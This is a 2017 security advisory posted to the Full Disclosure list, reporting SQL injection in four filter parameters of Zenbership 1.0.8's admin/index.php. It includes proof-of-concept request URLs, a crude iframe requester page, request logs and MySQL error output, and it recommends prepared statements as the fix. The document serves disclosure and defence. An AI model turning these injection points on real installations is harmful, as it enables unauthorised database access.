[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] Zenbership 1.0.8 CMS - Multiple SQL Injection Vulnerabilities



Document Title:
===============
Zenbership 1.0.8 CMS - Multiple SQL Injection Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2073


Release Date:
=============
2017-06-09


Vulnerability Laboratory ID (VL-ID):
====================================
2073


Common Vulnerability Scoring System:
====================================
5.3


Vulnerability Class:
====================
SQL Injection


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Zenbership is a free & open source membership management platform for online 
businesses facilitating the acquisition, monetization, 
and retention of members. The software is designed to act as a central hub for 
your employees, combining multiple tools into one 
solution, and automating tasks like member registration, renewals, and 
marketing. Your members will also benefit from a branded 
self-service portal to update data, manage subscriptions, get news, and view 
event registrations.

(Copy of the Homepage: http://www.zenbership.com/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple 
sql-injection vulnerabilities in the official 
Zenbership v1.0.8 ecommerce crm content management system web-application.


Vulnerability Disclosure Timeline:
==================================
2017-06-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Castlamp
Product: Zenbership - Content Management System (Web-Application) 1.0.8


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
The sql-injection vulnerability allows remote attackers or privileged user 
accounts to execute malicious sql commands to 
compromise the web-application and database management system.

The vulnerabilities are located in the `error_codes`, `subscriptions`, `widget` 
and `logins` parameters of the `./admin/index.php` 
file. Attackers with privileged web-application user accounts are able to 
execute malicious sql commands via GET method request. 
The requested content of the files is not sanitized via parse or escape.

The security risk of the vulnerabilities are estimated as medium with a common 
vulnerability scoring system count of 5.3. 
Exploitation of the sql-injection vulnerability requires a privileged 
web-application user account without user interaction. 
Successful exploitation of the web vulnerability results in web-application or 
database management system compromise.

Request Method(s):
[+] GET

Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] error_codes
[+] subscriptions
[+] widget
[+] logins


Proof of Concept (PoC):
=======================
The sql-injection vulnerabilities can be exploited by remote attackers without 
user interaction and with privileged user account.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.


PoC: Exploitation
./Zenbership/admin/index.php?l=error_codes&filters[]=I||code||like||ppSD_error_codes'[SQL-INJECTION
 VULNERABILITY!]--
./Zenbership/admin/index.php?l=subscriptions&filters[]=1||status||eq||ppSD_subscriptions%27[SQL-INJECTION
 VULNERABILITY!]--
./Zenbership/admin/index.php?l=widgets&filters[]=code||type||eq||ppSD_widgets%27[SQL-INJECTION
 VULNERABILITY!]--
./Zenbership/admin/index.php?l=logins&filters[]=2017-04-09||date||gt||ppSD_logins%27[SQL-INJECTION
 VULNERABILITY!]--


PoC: Exploitation
<html>
<head><body>
<title>Zenbership SQL-Injection Proof of Concept Requester</title>
<iframe=https://zenbership.localhost:8080/Zenbership/admin/index.php?l=error_codes&filters[]=I||code||like||ppSD_error_codes'[SQL-INJECTION]-->
<iframe=https://zenbership.localhost:8080/Zenbership/admin/index.php?l=subscriptions&filters[]=1||status||eq||ppSD_subscriptions%27[SQL-INJECTION]-->
<iframe=https://zenbership.localhost:8080/Zenbership/admin/index.php?l=widgets&filters[]=code||type||eq||ppSD_widgets%27[SQL-INJECTION]-->
<iframe=https://zenbership.localhost:8080/Zenbership/admin/index.php?l=logins&filters[]=2017-04-09||date||gt||ppSD_logins%27[SQL-INJECTION]-->
</body></head>
</html>


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET 
https://zenbership.localhost:8080/Zenbership/admin/index.php?l=error_codes&filters[]=I||code||like||ppSD_error_codes%27[SQL-INJECTION]--
 
Mime Type[text/html]
   Request Header:
      Host[zenbership.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 
Firefox/51.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      
Cookie[zen_admin_ses=a29f98519c3933c15c0b4cc738c4a769-0c7540eb7e65b553ec1ba6b20de79608-7a74fa3cece79a20faa4feaea64eeed6;
 zen_cart=NQR-2156237999]
      DNT[1]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Date[Tue, 09 May 2017 18:26:51 GMT]
      Server[Apache/2.2.31 (Unix)]
      X-Powered-By[PHP/5.3.29]
      Content-Length[360]
      Connection[close]
      Content-Type[text/html; charset=UTF-8]


--- SQL Error Exception Log ---
Invalid query (SELECT `value` FROM `ppSD_options` WHERE `id`=? LIMIT 1): 
42S02---1146---Table 'soft_zenber.ppSD_options' doesn't exist time_change
---
Invalid query ( SELECT COUNT(*) FROM `ppSD_error_codes` WHERE 
ppSD_error_codes'.code LIKE '%I%' ): 
42000---1064---You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right 
syntax to use near ''.code LIKE '%I%'' at line 1 
---
Invalid query ( SELECT COUNT(*) FROM `ppSD_subscriptions` WHERE 
ppSD_subscriptions'.status='1' ): 
42000---1064---You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right 
syntax to use near ''.status='1'' at line 1 
---
Invalid query ( SELECT COUNT(*) FROM `ppSD_cart_sessions` LEFT JOIN 
`ppSD_cart_session_totals` ON 
ppSD_cart_sessions.id=ppSD_cart_session_totals.id LEFT JOIN `ppSD_shipping` ON 
ppSD_cart_sessions.id=ppSD_shipping.cart_session 
LEFT JOIN `ppSD_cart_billing` ON ppSD_cart_sessions.id=ppSD_cart_billing.id 
WHERE ppSD_cart_sessions'.status='2' ): 
42000---1064---You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version 
for the right syntax to use near ''.status='2'' at line 1 
---
Invalid query ( SELECT COUNT(*) FROM `ppSD_logins` WHERE 
ppSD_logins-1'.date>'2017-04-09' ): 
42000---1064---You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version for the 
right syntax to use near ''.date>'2017-04-09'' at line 1 
---
Invalid query (unkown column)
You have an error in your SQL syntax; check the manual that corresponds to your 
MySQL server version for the 
right syntax to use near 20


Reference(s):
https://zenbership.localhost:8080/
https://zenbership.localhost:8080/Zenbership/
https://zenbership.localhost:8080/Zenbership/admin/
https://zenbership.localhost:8080/Zenbership/admin/index.php


Solution - Fix & Patch:
=======================
The sql-injection can be patched by usage of a prepared statement. 
Disallow to show the error logs.
Escape the parameter values to prevent exploitation of the vulnerabilities.


Security Risk:
==============
The security risk of the remote sql-injection vulnerabilities in the 
web-application is estimated as medium (CVSS 5.3).


Credits & Authors:
==================
N/A - Anonymous


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, including the warranties of merchantability and capability for a 
particular purpose. Vulnerability-Lab or its suppliers are not liable in any 
case of damage, including direct, indirect, incidental, consequential loss of 
business profits or special damages, even if Vulnerability Labs or its 
suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not 
approve or encourage anybody to break any licenses, policies, deface 
websites, hack into databases or trade with stolen data. We have no need for 
criminal activities or membership requests. We do not publish advisories 
or vulnerabilities of religious-, militant- and racist- 
hacker/analyst/researcher groups or individuals. We do not publish trade 
researcher mails, 
phone numbers, conversations or anything else to journalists, investigative 
authorities or private individuals. 

Domains:    www.vulnerability-lab.com           - www.vulnerability-db.com      
                                - www.evolution-sec.com
Programs:   vulnerability-lab.com/submit.php    - 
vulnerability-lab.com/list-of-bug-bounty-programs.php         - 
vulnerability-lab.com/register.php
Feeds:      vulnerability-lab.com/rss/rss.php   - 
vulnerability-lab.com/rss/rss_upcoming.php                    - 
vulnerability-lab.com/rss/rss_news.php
Social:     twitter.com/vuln_lab                - facebook.com/VulnerabilityLab 
                                - youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, 
resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is 
granted. All other rights, including the use of other media, are reserved by 
Vulnerability Lab Research Team or its suppliers. All pictures, texts, 
advisories, source code, videos and other information on this website is 
trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, 
modify, use or edit our material contact (admin@) to get an ask permission.

                                    Copyright © 2017 | Vulnerability Laboratory 
- [Evolution Security GmbH]™



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/